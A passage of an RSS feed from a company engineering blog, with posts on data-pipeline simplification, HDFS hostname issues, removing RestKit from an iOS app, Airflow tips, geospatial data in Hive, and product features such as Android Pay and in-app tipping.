            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRv25WOtvrIuku7TNVPRhw.jpeg" /></figure><p>Let’s chat for a minute about our technology stack at Handy. Like any online platform, we use a lot of different techniques, tools, and services to keep everything running smoothly for the rest of the oragnization. I’ve written about our stack before <a href="https://medium.com/handy-tech/our-hadoop-setup-4b60656ed891#.3ofp17h48">here</a> and <a href="https://medium.com/handy-tech/airflow-tips-tricks-and-pitfalls-9ba53fba14eb#.g1jg2ywln">here</a>, but the thing is, that hid a lot of complexity. Like, a lot.</p><p>For example, one part of our stack — inserting logs into Hive — was implemented with a complex Logstash configuration copying each file into HDFS, a second Airflow task to copy those files into directories organized by logging channel, then about 200 discrete Airflow tasks to kick off another 200 discrete YARN applications (same application in the sense of the same code running, different application in that it’s a different YARN “process”), with callbacks on those tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*p--C0fGfg6TpGJ1tudWqBw.png" /><figcaption>Getting our logs into Hive. The simplicity is a lie.</figcaption></figure><p>We now have the same pipeline functionality implemented, with a much simpler Fluentd configuration (bonus: Fluentd is way more reliable than Logstash in lots of ways), one Spark application which gets the data from S3, writes it to HDFS organized by channel, then inserts it into Hive. This is followed by some post-ingestion steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*YHsiUd9IuNgd083LkH5VJQ.png" /><figcaption>Our new process. Not a lie.</figcaption></figure><p>The big source of complexity here is the need to use a YARN application for ingestion, because we’re still working with JSON, which is schema-less. Nevertheless, with all of that, the whole process now fits in a diagram which doesn’t erase any steps.</p><p>Apart from the satisfaction of a much cleaner process, this has made our process much more reliable, and much cheaper:</p><ol><li>Airflow is not a high-throughput system. Though it’s cool, Airflow is (in the words of Maxime Beauchemin himself) not designed to run many small tasks. With this new design, we cut out a lot of the tasks that Airflow had to handle. This means we can use a much smaller Celery cluster and suffer less if we fall behind for any reason (e.g. loss of YARN capacity).</li><li>With only one YARN application per hour, we don’t run the risk of Celery boxes running out of memory, and we can make better use of resources in our YARN cluster. The short version is that a threaded Spark application can take better advantage of YARN + Spark capacity scheduling, and achieve better throughput (more tasks can run at once and long tasks don’t block shorter tasks).</li><li>We took the opportunity to right-size our boxes and configure YARN capacity scheduling. This means our Hive work can run close to the data, and Spark can run on spot workers. This is much cheaper and uses fewer machines. Overall, we cut our AWS bill by 75%.</li></ol><p>Our ingestion time with threading tends to max out at about 20 minutes under this new setup. Previously, it would top out at 55 minutes. Hive queries run substantially faster. Or at least, we think they do. We didn’t measure before-and-after, but anecdotally they feel much snappier.</p><h4>Tradeoffs</h4><p>Alas, nothing is free. By rolling up a lot of our workflow into a single Spark application, we lose the fine-grained insight into what succeeded and what didn’t. Without that insight we have to decide whether or not to retry the ingestion task as a whole. We are currently building out features in our ingestion application to integrate with Airflow and use it to track which channels were successfully ingested, and which were not.</p><h4>Adaptive tasks</h4><p>Another important component of making this work — which is also only possible because we consolidated our tasks — is that our tasks can now be adaptive. In this case, when an ingestion task is run outside of the normal window for its Airflow <a href="https://pythonhosted.org/airflow/tutorial.html#it-s-a-dag-definition-file">DAG</a> run, the task can skip itself and Airflow can catch up to run the task that should be running in that slot. To avoid data or work loss, that task then has to look back (using Airflow’s record of what last succeeded) to see which time slots it should be running.</p><p>This again is a win, because Airflow (by way of logic in our custom operator) ensures that there’s never an ingestion gap of our data, and we don’t have to rely on retrying small slivers of tasks. Instead, the work gets rolled up in a bigger chunk that can be executed more efficiently by Spark + YARN, as described above.</p><h4>So, footballs?</h4><p>There’s a clear benefit to reducing the complexity of any system; a single football spirals smoothly through the air, while a bag of marbles, well, doesn’t. It’s easier to understand, runs more efficiently, and makes the finance team smile by cutting operating costs. Of course, there are always going to be compromises, but those are decisions that’ll have to be made with your team. This arrangement works for us, and everyone seems pretty happy about it!</p><p><em>Are you interested in making our stack run more efficiently and doing other cool things at Handy? Check out our </em><a href="https://www.handy.com/careers/73115?gh_jid=73115&amp;gh_src=o5qcxn"><em>careers page</em></a><em> to see if anything catches your eye.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75b46d069b5a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/a-football-is-better-than-a-bag-of-marbles-75b46d069b5a">A Football is Better than a Bag of Marbles</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Renaming HDFS Data Nodes Considered Terribly Harmful]]></title>
            <link>https://medium.com/handy-tech/renaming-hdfs-datanodes-considered-terribly-harmful-2bc2f37aabab?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/2bc2f37aabab</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[yarn]]></category>
            <category><![CDATA[hadoop]]></category>
            <dc:creator><![CDATA[Marcin Tustin]]></dc:creator>
            <pubDate>Mon, 18 Jan 2016 13:42:47 GMT</pubDate>
            <atom:updated>2016-04-06T15:16:43.025Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pxYg_KDfFHLGzIKOUzPWVg.png" /></figure><p>We recently switched our hosts over to a new DNS provider. This meant that the PTR Records, and therefore the hostnames that hosts were reporting, changed. So far, predictable.</p><p>The thing is, HDFS and YARN hated this. We had two problems: unfortunately, we had some hosts (our Yarn and HDFS nodes) using the old DNS provider, and others (where we run application drivers) using the new provider, so our Yarn container processes couldn’t phone home to the drivers, because the hostname for the driver processes didn’t exist from the perspective of the YARN node managers. So, we updated our YARN nodes (which also run our HDFS data nodes) to use the new DNS.</p><p>This caused our second problem, which is the focus of this post: suddenly our namenodes thought that all the datanodes had died, gone missing, and been replaced with new datanodes. This happens because HDFS identifies datanodes either by IP address or hostname (see footnote), rather than some more stable identifier. Because the hostnames of our machines had changed, they appeared to the namenodes to be completely new machines.</p><p>Our solution here was to get the datanodes identifying themselves by IP address, which they had been before, and thus the namenodes recognised them as their old selves. If our networking changes had also changed the ip addresses of these hosts, we would likely have had to have done something much more drastic.</p><p>It’s worth noting that I have seen people say online that HDFS doesn’t use IP addresses or hostnames to manage where to find blocks. If you want to convince yourself that it does, crack open (but DON’T edit) one of the fsimage files on a namenode. You’ll see a bunch of binary data interspersed with strings of the form &lt;ip address&gt;_&lt;number&gt; or &lt;hostname&gt;_&lt;number&gt;.</p><p><em>Interested in working with us at Handy HQ in beautiful Manhattan? Check out our </em><a href="https://www.handy.com/careers"><em>careers page</em></a><em> to see if there’s a fit for you.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bc2f37aabab" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/renaming-hdfs-datanodes-considered-terribly-harmful-2bc2f37aabab">Renaming HDFS Data Nodes Considered Terribly Harmful</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RestKit, CocoaPods, and Software Trade-Offs]]></title>
            <link>https://medium.com/handy-tech/restkit-cocoapods-and-software-trade-offs-495511984e3b?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/495511984e3b</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cocoapods]]></category>
            <dc:creator><![CDATA[Ricardo Rodriguez]]></dc:creator>
            <pubDate>Wed, 16 Dec 2015 19:40:52 GMT</pubDate>
            <atom:updated>2016-04-08T14:50:45.405Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fv5x2FVRThhCqKeUW7dfnA.png" /></figure><p>A few weeks ago during our conversations with the folks from the <a href="http://www1.nyc.gov/office-of-the-mayor/news/920-15/kicking-off-computer-science-education-week-mayor-de-blasio-new-partnerships-tech">NYC Tech Talent Pipeline</a> and Flatiron School, the topic of CocoaPods was brought up. Having just gone through a major refactoring of our RestKit integration we were more than happy to share our views on CocoaPods and follow up with more details through this short case study.</p><h3>In short</h3><ol><li>Adding CocoaPods to your projects does not reduce the complexity of your app; it just hides it temporarily.</li><li>A carelessly integrated CocoaPod can cause data corruption, race conditions, memory leaks, and many other headaches.</li><li>If you are incapable or unwilling to maintain a CocoaPod yourself, do not use it in the first place.</li><li>If the functionality you seek from a CocoaPod is the key technology that powers your app, consider writing it from scratch in order to have full control over implementation, behavior, and performance.</li><li>If you and your competitors are all using the same one-size-fits-all CocoaPods, it will be very hard for you to establish a technical competitive advantage.</li><li>CocoaPods are great for MVPs, A/B testing of experimental features, and consuming third-party services or APIs. However, you should always wrap them around abstract interfaces.</li></ol><h3>The Story</h3><p>A few months ago we started receiving crash reports amounting to 1% of our daily sessions related to errors in files such as:</p><ul><li>NSManagedObject+MagicalRecord.m</li><li>RKResponseMapperOperation.m</li></ul><p>And cryptic error messages such as:</p><ul><li>Fatal Exception: NSObjectInaccessibleException</li><li>EXC_BAD_ACCESS KERN_INVALID_ADDRESS</li></ul><p>In addition, we were noticing certain network operations were taking way too long relative to their complexity and the size of the responses.</p><h3>The Source: RestKit</h3><p>Behind all this was RestKit, which is one of the few CocoaPods in our project.</p><blockquote><em>RestKit is a modern Objective-C framework for implementing RESTful web services clients on iOS and Mac OS X. It provides a powerful </em><a href="https://github.com/RestKit/RestKit/wiki/Object-mapping"><em>object mapping</em></a><em> engine that seamlessly integrates with </em><a href="http://developer.apple.com/library/mac/#documentation/cocoa/Conceptual/CoreData/cdProgrammingGuide.html"><em>Core Data</em></a><em> and a simple set of networking primitives for mapping HTTP requests and responses built on top of </em><a href="https://github.com/AFNetworking/AFNetworking"><em>AFNetworking</em></a><em>.</em></blockquote><blockquote><em>Source</em><strong><em>: </em></strong><a href="https://github.com/RestKit/RestKit"><em>https://github.com/RestKit/RestKit</em></a></blockquote><p>This object mapping engine is a blessing for a rapidly evolving project that needs to be shipped as fast as possible but can prove dangerous since it introduces a generalized (and magical) mapping engine. This engine takes a JSON object’s fields and dynamically maps them into corresponding fields in your model. Change a field in your model, and RestKit automatically maps the JSON response to the new type. It wasn’t a surprise that our network calls were spending most of their time in this mapping phase.</p><h3>The Problem</h3><p>Attempts to replicate these issues were extremely hard and whenever a crash occurred, restarting the application would fix the issue. In addition to this, there were reports of application being rendered unusable because of SQLite DB corruption. At the very least, some serious concurrency and race conditions were at play.</p><p>Furthermore during this process we also noticed incredibly long running RestKit mapping operations, some of which took over a second to complete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MYpx4A_fyRqO0pw9Q6pa5A.png" /></figure><h3>The Cause</h3><p>Did flaws in RestKit’s implementation cause these issues? Maybe. Looking through RestKit commit history you can see bug fixes related to the CoreData thread confinement model.</p><p>Did a previous developer introduce a careless integration of RestKit? Possible as well.</p><p>Only one was thing was certain here: we were not willing to dig any deeper into RestKit’s internal implementation and figure out exactly what was going on. The functionality we needed from RestKit was fairly trivial and we could rewrite our networking code into a cleaner service layer, which would also get rid of other issues with our outdated codebase.</p><h3>Solution</h3><p>During one of our iOS Team Meetings we finally decided we had enough of RestKit and that we could get rid of it relatively fast. At Handy, we allocate 20% of engineering resources to engineering-led initiatives, so we were more than happy to do things the right way as part of an engineering sprint. As a solution we introduced an abstract networking service interface in major parts of the application. The implementation sidesteps RestKit but still makes use of external dependencies, which we also plan to deprecate. This abstract interface is common across multiple applications that we work on here at Handy, which will allow us to easily swap the remaining code and quickly converge with the other apps.</p><p>The results achieved through this solution include:</p><ul><li>Greater ROI: By rewriting parts of the code we gained more control of our networking code, which allowed us introduce optimizations specific to our use-case. The alternative would have been to spend resources in a problem that was not core to our business.</li><li>Reduced Complexity: RestKit does a lot of wonderful but computationally expensive things for developers. Not only did we reduce computational complexity from our application, we also got rid of a black box and replaced it with standard networking code.</li><li>Better Experience: After the change our crash-free users are trending way closer to 99.9% and the application performs faster than ever. We reduced mapping stages to milliseconds.</li></ul><h3>Conclusion</h3><p>Whenever you are deciding to introduce an external library through a CocoaPod or otherwise, remember to communicate clear expectations to your stakeholders. They need to understand that even though your time-to-market will be greatly reduced, you will be exposed to new bugs and performance issues. In many cases you will have limited control over these issues, which will potentially force you to deprecate the libraries down the line.</p><p><em>Looking for mobile, full stack, or platform engineering opportunities at a fun, growing company in Manhattan? You should </em><a href="https://www.handy.com/careers"><em>join us</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=495511984e3b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/restkit-cocoapods-and-software-trade-offs-495511984e3b">RestKit, CocoaPods, and Software Trade-Offs</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Handy and Android Pay]]></title>
            <link>https://medium.com/handy-tech/handy-and-android-pay-ff255f3316d5?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/ff255f3316d5</guid>
            <category><![CDATA[product-design]]></category>
            <category><![CDATA[payments]]></category>
            <category><![CDATA[android-pay]]></category>
            <dc:creator><![CDATA[Mayank Yadav]]></dc:creator>
            <pubDate>Tue, 15 Dec 2015 16:21:30 GMT</pubDate>
            <atom:updated>2015-12-15T16:49:43.959Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ELY-SRfboWzs_RtW8l-sQ.jpeg" /></figure><p>We’re excited to be one of the first apps to integrate Android Pay, which makes our user experience more seamless than ever before. To kick things off, we’re offering customers $25 off their first booking when they use Android Pay for a limited time.</p><p>Android Pay is another step Handy is taking to realize its vision of a frictionless home service experience. Our customers can stop worrying about entering their payment information again and again, and simply tap one button to pay for a booking. By leveraging Android Pay, the Handy experience becomes easier for the customer than it has ever been before.</p><p>We’re also rolling out some updates to the design of the app. The home screen and the services screen have been updated with Material Design principles in mind.</p><p>There are many more improvements in the pipeline that we can’t wait to share with you. Stay tuned, and don’t forget to <a href="https://play.google.com/store/apps/details?id=com.handy.handy.prod">download the latest version</a> of the app to start playing around with all these new toys. Erm, features. Yeah.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff255f3316d5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/handy-and-android-pay-ff255f3316d5">Handy and Android Pay</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Airflow: Tips, Tricks, and Pitfalls]]></title>
            <link>https://medium.com/handy-tech/airflow-tips-tricks-and-pitfalls-9ba53fba14eb?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/9ba53fba14eb</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[airflow]]></category>
            <dc:creator><![CDATA[Marcin Tustin]]></dc:creator>
            <pubDate>Mon, 07 Dec 2015 13:59:55 GMT</pubDate>
            <atom:updated>2016-03-25T21:28:41.852Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*814mX_UbYmsMJiPP18MqzA.png" /></figure><p><a href="https://github.com/airbnb/airflow">Airflow</a>, the workflow scheduler we use, recently hit version 1.6.1, and introduced a revamp of its scheduling engine. We like it because the code is easy to read, <a href="https://github.com/mtustin-handy/airflow/network">easy</a> to <a href="https://github.com/sray-handy/airflow/network">fix</a>, and the maintainer, Maxime Beauchemin, is very responsive. We also like that it’s all code, rather than using config files like xml to describe the dags. Nevertheless, there are a few things that are less than obvious that we wish we had known.</p><h4>Make tasks idempotent</h4><p>In a distributed environment, things are going to fail. Airflow accommodates this by automatically retrying tasks. So far, so good.</p><p>The problem arises when you have a series of tasks and you want to reset to a state where it makes sense to retry them.</p><p>One strategy is to have a subdag. The subdag task will have its own retry, so if you set the tasks in the subdag to never retry, and rely on the subdag operator you can have the whole dag succeed or fail together. This works well if the reset is the first task in the dag; it’s attractive if there’s a relatively complex dependency structure within the subdag.</p><p>Note that SubdagOperator tasks won’t mark failure properly unless you’re using <a href="https://github.com/airbnb/airflow/commit/b5b402d8800342da3a9b404e453eb3749ac775da">the latest version from GitHub</a>.</p><p>Another strategy is to use the retry handler:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/79c96955380d788fb3daf21f6b061605/href">https://medium.com/media/79c96955380d788fb3daf21f6b061605/href</a></iframe><p>This works great to make a particular task re-tryable.</p><h4>Generate your tasks programmatically</h4><p>One of the most powerful features of a system where workflows are described in code is that you can programmatically generate your dag. This is very, very useful where you want to automatically pick up new data sources without manual intervention.</p><p>We have our log ingestion dag examine HDFS for the log directories which exist, and generate one task per directory to ingest the data within it. Example code below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/af8b75dcc8a3504cee960ac7e8213129/href">https://medium.com/media/af8b75dcc8a3504cee960ac7e8213129/href</a></iframe><h4>Daily tasks run when the day is over</h4><p>Not at the start of the day.</p><h4>You can’t put subdags in the dags folder</h4><p>Or to be more accurate: you can’t put a subdag in its own module in the dags folder unless you protect it with some kind of factory. Or to be even more accurate: you can, but then the subdag will be run on its own schedule, as well as by the subdag operator in the main dag.</p><p>Here’s an example of two dags (assume they’re both in the dags folder, called bad_dags) where the subdag will be scheduled by the scheduler independently of the main dag:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/73d7c064c96abd47bdcd09afefa1a2f0/href">https://medium.com/media/73d7c064c96abd47bdcd09afefa1a2f0/href</a></iframe><p>We solve this by using a factory function. This has the advantage that the main dag can pass in the necessary parameters to the subdag, so their schedules, and any other parameters align automatically. No need to hunt down parameters when the schdedule of your main dag changes. In the below example, assume the dags are in a package called good_dags:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e1c7229646d496e4c53e411b6c032a49/href">https://medium.com/media/e1c7229646d496e4c53e411b6c032a49/href</a></iframe><p>Another pattern is to stuff everything that needs to be shared between main dag and subdag into the default_args, and pass that down into the factory function. (Thanks to Maxime for that suggestion).</p><h4>Subdags must have a schedule and be enabled</h4><p>Even though subdags are triggered as part of a larger dag, if their schedule is set to None or ‘@once’, the subdag operator will succeed without doing anything.</p><p>Even worse, if your subdag is disabled, then the subdag operator will run, but never complete, as your subdag will never run. This will quickly lead to your main dag having the maximum number of active dag runs active (by default 16 as at time of writing), and in consequence no more runs will be scheduled.</p><p>In both cases, the cause is that the subdag operator is implemented as a BackfillJob. See <a href="https://github.com/airbnb/airflow/blob/9616463/airflow/operators/subdag_operator.py#L43">here</a> calling <a href="https://github.com/airbnb/airflow/blob/9616463/airflow/models.py#L2447">this</a>.</p><h4>DagRuns: the missing piece</h4><p>The single biggest change in Airflow 1.6 is the introduction of the DagRun. Now, scheduling of task instances is triggered by the creation of a DagRun object.</p><p>Accordingly, if you want to trigger a run of all of a dag, instead of running a backfill, you are likely better off creating a DagRun. You can do that either with the `airflow trigger_dag` command, or through the webserver’s DagRun page.</p><p>The big advantage of this is that it makes the scheduler’s behaviour easier to understand, as it scans for DagRuns to create, then schedules TaskInstances based on which DagRuns are active. The webserver can now show us the state of individual DagRuns, and the state of the task instances associated with it.</p><p>This creates one new pitfall — namely that Dags have a maximum number of active DagRuns, and if your DagRuns don’t reach completion for whatever reason, the scheduler will stop running your Dag.</p><h4>How DagRuns are scheduled</h4><p>The new model also creates a new opportunity to control the scheduler. The next DagRun to be scheduled is calculated based on the last scheduled DagRun in existence in the database. Apart from the case where the maximum is reached it does not matter whether the most recent instance is in a running or final state.</p><p>This means that if you want to rerun several DagRuns, you can delete all the DagRuns between the present, and the last run you want to re-run. The scheduler will then rerun them all, triggering them in order. Whether it waits for one to complete before the next depends on your settings for depends_on_past. You will also need to delete the corresponding taskinstances for those dagruns.</p><p>It also means that if you want to rerun a DagRun which is not part of the contiguous set between the present and a past time, you can simply delete the taskinstances for that DagRun, and set that DagRun to a running state.</p><h4>The scheduler should be restarted frequently</h4><p>In our experience, a long running scheduler process, at least with the CeleryExecutor, ends up not scheduling some tasks. We still don’t know the exact cause, unfortunately.</p><p>Fortunately, airflow has a built-in workaround in the form of the — num_runs flag. It specifies a number of iterations for the scheduler to run of its loop before it quits. We’re running it with 10 iterations, <a href="https://github.com/airbnb/airflow/issues/698#issuecomment-160666479">Airbnb runs it with 5</a>. Note that this will cause problems when using the LocalExecutor.</p><p>We currently use chef to restart the executor for us; we’re planning on moving to supervisor to keep it up constantly.</p><h4>Operators (dis)appear based on dependencies</h4><p>The airflow.operators package has a little of magic to only expose operators which imported correctly. This means that if you don’t have the necessary dependencies installed, it will look like your operators are missing.</p><h4>That’s all folks! (For now)</h4><p>Airflow is under active development, not least by us. There’ll be more improvements, and I’ll post about more tricks as we learn them.</p><p><em>Interested in solving problems like this, while working with cool people in an office equally close to an amazing </em><a href="http://4sq.com/1CXPkV6"><em>doughnut shop</em></a><em> and a very rad </em><a href="http://4sq.com/1caTl9h"><em>gym</em></a><em>? Check out our </em><a href="https://www.handy.com/careers"><em>careers page</em></a><em> to see if there’s an opening for you!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ba53fba14eb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/airflow-tips-tricks-and-pitfalls-9ba53fba14eb">Airflow: Tips, Tricks, and Pitfalls</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Roundtripping Geospatial Data through MySQL and Hive]]></title>
            <link>https://medium.com/handy-tech/roundtripping-geospatial-data-through-mysql-and-hive-84f0d1a679a9?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/84f0d1a679a9</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[mysql]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Marcin Tustin]]></dc:creator>
            <pubDate>Fri, 04 Dec 2015 16:56:03 GMT</pubDate>
            <atom:updated>2016-04-06T15:22:47.282Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsrDlHmc3u4Jop-gN4k0hQ.png" /></figure><p>Here at Handy, we take data security and testing seriously. Accordingly, we want to test with data that’s as similar to production as possible without exposing customer data. The snag — for the purposes of this post — is that our MySQL database contains GIS data which Hive — at least natively — can’t understand. We need to get that data out of MySQL, into Hive, and back into MySQL without ruining it.</p><h4>Exporting to Hive</h4><p>The process of obfuscation starts with a Sqoop pulling all the data from our production slave and stores it on HDFS.</p><p>This command looks something like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f286a7dbb04b2b145d567b845310e98a/href">https://medium.com/media/f286a7dbb04b2b145d567b845310e98a/href</a></iframe><p>Notice the option: — map-column-hive area=STRING</p><p>This option tells Sqoop to convert geospatial binary data into string format. Without this option Hive would not accept unknown column format. With this option, we serialize whatever geospatial binary data to a string. Originally we tried to serialize the data as binary, because it is stored as binary data in MySQL, but for whatever reason (we blame MySQL/Sqoop issues) it was always serialized incorrectly.</p><p>Now we have all tables stored in Hive, we need to proceed with data obfuscation.</p><h4>Obfuscating</h4><p>We’ll omit details on data obfuscation, except to say that obfuscation is done in Spark by reading the Hive database and storing the result in a separate “cleaned” database.</p><h4>Exporting back to MySQL</h4><p>Now to export the obfuscated data back into MySQL. For most of the tables it works just fine. The table with GIS data is now a string, though, which isn’t right.</p><p>The string serialized data looks like: “00 00 00 00 01 03 00 00 00 01 00 00 00 12 00 00 00 6c 42 5a 63 d0 c4 51 c0 e2 3f dd…” It might look like Hex, but it’s a string. Well, it’s a hex string with spaces inside, so it needs to be converted back to real binary.</p><p>Here is a line in Scala that does exactly that. Very nice and concise (thanks, Scala):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/df10a7b48db02ef230e52eeb4b5b70a8/href">https://medium.com/media/df10a7b48db02ef230e52eeb4b5b70a8/href</a></iframe><p>We export back into MySQL using Spark SQL, so all that’s left is to map that over the rows in the table, convert back to a dataframe, and export.</p><p><em>Interested in solving problems like these? Also interested in a cool office full of smart people on a street with an </em><a href="http://4sq.com/1CXPkV6"><em>amazing doughnut shop</em></a><em> but also a lot of </em><a href="http://4sq.com/1caTl9h"><em>gyms</em></a><em>? Check out our </em><a href="https://www.handy.com/careers"><em>careers page</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84f0d1a679a9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/roundtripping-geospatial-data-through-mysql-and-hive-84f0d1a679a9">Roundtripping Geospatial Data through MySQL and Hive</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tipping Your Professional]]></title>
            <link>https://medium.com/handy-tech/tipping-your-professional-36c604bd6dbe?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/36c604bd6dbe</guid>
            <category><![CDATA[product-management]]></category>
            <category><![CDATA[ux]]></category>
            <category><![CDATA[product-design]]></category>
            <dc:creator><![CDATA[Mayank Yadav]]></dc:creator>
            <pubDate>Tue, 24 Nov 2015 15:47:49 GMT</pubDate>
            <atom:updated>2015-11-24T15:47:48.693Z</atom:updated>
            <content:encoded><![CDATA[<h4>A deeper dive into the process behind our new tipping feature.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ET_Z_nNDttnn3Yhg6g_Hsw.jpeg" /></figure><p>Last week, we launched a new feature allowing customers to tip their pro without worrying about cash. Now that it’s live across all of our markets, we wanted to do a deeper dive into the process of making this update happen.</p><p>Every time we consider adding a feature to Handy, we think about how that feature will fit in with our overall product vision. The grander idea behind Handy is to build a seamless platform for on-demand home services, so the ability to add tips is a pretty easy to justify. Eliminating cash from the equation reduces friction, which makes the platform more seamless and easier to use.</p><p>For the customer, this alleviates the stress caused by worrying about tips. Now, there’s no need to make a trip to the ATM, and the process is clearer: tips are always optional, but they’re an appreciated reward for a job well done.</p><p>For the professionals, we hope that customer tipping will offer an extra incentive to continue providing top-notch service. This feature demonstrates how our platform for home services is superior to the old way, where every professional was burdened by managing every aspect of their business. So now, not only is Handy a significantly easier way for the professionals to connect with customers and manage their schedule, but it also has the potential to be more lucrative. Plus, 100% of the tip is paid directly to the pro.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*lm-hulc7WcdWhMK2oBf3uA.gif" /><figcaption>This screen appears post-booking.</figcaption></figure><p>When the team was going through the design process, we had a handful of UX decisions to make. For example, we had to decide if customers would be able to tip even if they gave a poor rating. We decided that they should, in case the reason for their rating wasn’t directly related to the pro, and after they go through the rating flow, they’re funnelled into a feedback form. We also know that many customers weren’t able to tip their past pros even if they had wanted to at the time, so we added the option to retroactively tip. This way, customers can reward their favorite pros even if they didn’t have cash on hand at the time of the booking.</p><p>Another question the team dealt with was whether or not this feature should exist on the web. We noticed that although there’s a fairly even split between customers making bookings on the web vs. in the app, once the booking is in progress, people are much more likely to manage the process and engage with the product on their mobile device. So, since tipping is the final step in that management process, we decided it should be built directly into the mobile flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*SktbbHmBkkxg979AtYmuYA.png" /><figcaption>This screen appears when a customer adds a tip to a past booking.</figcaption></figure><p>We’re very excited to see how this feature improves the experience (we’re already seeing strong adoption), and we’re paying attention to the data to understand how to improve the product even further in the future.</p><p>Thanks to all of the team members who worked on this project:</p><ul><li><a href="https://www.linkedin.com/in/annmarieakong">Annmarie Akong</a>, Product Designer</li><li><a href="https://www.linkedin.com/in/avaneyev">Anton Vaneev</a>, iOS Engineer</li><li><a href="https://twitter.com/cdohertyk">Cole Kennedy</a>, Copywriter</li><li>Ondrej Dolejsi, Android Engineer</li><li>Ricardo Rodriguez, Engineering Manager</li><li><a href="https://www.linkedin.com/in/ricardoaquinones">Ricky Quinones</a>, Software Engineer</li><li><a href="https://www.linkedin.com/in/roumwelle">Roumwelle Sta Ines</a>, Android Engineer</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36c604bd6dbe" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/tipping-your-professional-36c604bd6dbe">Tipping Your Professional</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>